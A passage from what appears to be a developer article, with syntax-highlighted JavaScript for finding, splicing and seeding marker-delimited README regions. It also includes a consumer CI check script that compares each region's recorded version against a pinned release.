&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, target) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; l.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&gt;&gt;&gt; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} `&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; l.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&amp;#x3C;&amp;#x3C;&amp;#x3C; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    start, end,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body: lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, end).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    version: (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/ v(\d+\.\d+\.\d+)/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(lines[start]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [])[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; block&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (target, version, body) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; markers&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [m.start, body, m.end];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, target, version, body) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, target);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found.start, found.end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, version, body));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** Create a region that isn&apos;t there yet, anchored so it lands somewhere sane. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; seed&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, target, version, body) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target.init.insertAfter);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; at &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (at &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: anchor /${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;insertAfter&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}/ matched no line`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; at &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  while&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines[i].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(i, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, version, body), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;seed&lt;/code&gt; takes an anchor rather than appending, because a badge that lands at the bottom of a README is technically present and practically invisible.&lt;/p&gt;
&lt;h2&gt;The consumer’s check&lt;/h2&gt;
&lt;p&gt;This is what runs in the consumer’s own CI, against the version &lt;em&gt;it&lt;/em&gt; has pinned. Save it as &lt;code&gt;check.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** What a consumer runs against its OWN pinned version, on every PR. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { findRegion } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EXPLAIN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ok: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;in sync&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  missing: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;no region for this target in this checkout&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;stale-version&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;region records an older release than the pin&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ targets, version, read }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((target) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { text &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target.path); } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, target);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // The recorded version has to be checked too. Comparing only the body lets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // a region sit at an ancient release with a green tick forever.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (found.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stale-version&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, wroteBy: found.version };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
